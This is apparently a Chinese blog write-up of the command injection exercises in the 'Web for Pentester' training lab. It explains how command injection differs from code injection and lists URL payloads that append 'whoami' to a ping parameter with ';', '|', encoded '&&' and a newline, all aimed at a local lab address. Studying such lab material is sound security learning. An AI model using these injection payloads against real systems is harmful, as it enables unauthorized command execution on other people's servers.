Web for pentester_writeup之Commands injection篇

Commands injection(命令行注入)

代码注入和命令行注入有什么区别呢,代码注入涉及比较广泛,凡是由于过滤不严格或者是逻辑问题导致的可以插入恶意代码,都属于代码注入。而命令注入就局限于system函数的过滤不严格导致执行了系统命令。
总之就是代码注入主要是执行php代码,而命令注入主要是执行系统命令。

Example 1

这是一个简单的命令注入,执行的是ping一个ip的命令,这里我们可以使用;|符号来拼接执行后面的命令,也可以使用&&符号(需编码)。

Payload 1
http://192.168.219.136/commandexec/example1.php?ip=127.0.0.1;whoami

Payload2
http://192.168.219.136/commandexec/example1.php?ip=127.0.0.1|whoami

Payload3
http://192.168.219.136/commandexec/example1.php?ip=127.0.0.1%26%26whoami

Example 2

对IP地址参数做了相关过滤限制,这里我们使用%0a换行符来切换命令至下一行执行

Payload
http://192.168.219.136/commandexec/example2.php?ip=127.0.0.1%0awhoami

Example 3

我们发现换行符也不好使了,开启抓包模式,抓包发现程序有个302跳转,程序在运行时无论输入什么命令都会跳转Location: example3.php?ip=127.0.0.1

查看返回数据包发现,跳转时已经执行了相关命令

最新文章

  1. [数据分析]excel带名称的四象限散点图制作
  2. Total Commander 集成、调用 Beyond Compare比较文件
  3. 向 Web 开发人员推荐35款 JavaScript 图形图表库
  4. ECMAScript 6教程 (二) 对象和函数
  5. BZOJ 1004
  6. hadoop 2.2.0的datanode中存储block的多个文件夹的负载均衡问题
  7. eclipse设置字体大小
  8. AutoIt3初探(1)
  9. centos 安装ganglia监控工具
  10. 终端查询数据库sqlite(创建你自己,或者是coredata创建)那里的东西
  11. 绕过js验证
  12. iOS中 UIWebView加载网络数据 技术分享
  13. Vue slot插槽
  14. java后台常用json解析工具问题小结
  15. mac 苹果多版本jdk自由切换
  16. mysql_day03
  17. 21-json pickle shelve XML
  18. String,StringBuilder和StringBuffer区别
  19. OpenCV——边缘检测入门、Canny边缘检测
  20. spark读取hdfs数据本地性异常【转】

热门文章

  1. 一道短小精悍的JS小题目
  2. Spring Boot(四) Mybatis-MySql
  3. ShaderHelper2 组件升级,支持自动枚举参数!
  4. 基于动态代理的WebAPI/RPC/webSocket框架,一套接口定义,多个通讯方式
  5. repr() Vs str()
  6. 用阿里官网提供的plupload oss的web直传,视频上传进行前端验证它的时长,尺寸,大小等。替换上一个不需要的单个视频
  7. JDBC-第1篇-基础
  8. Visual Studio 生成事件这件小事
  9. Python开发【第一篇】:目录
  10. opencv::AKAZE检测与匹配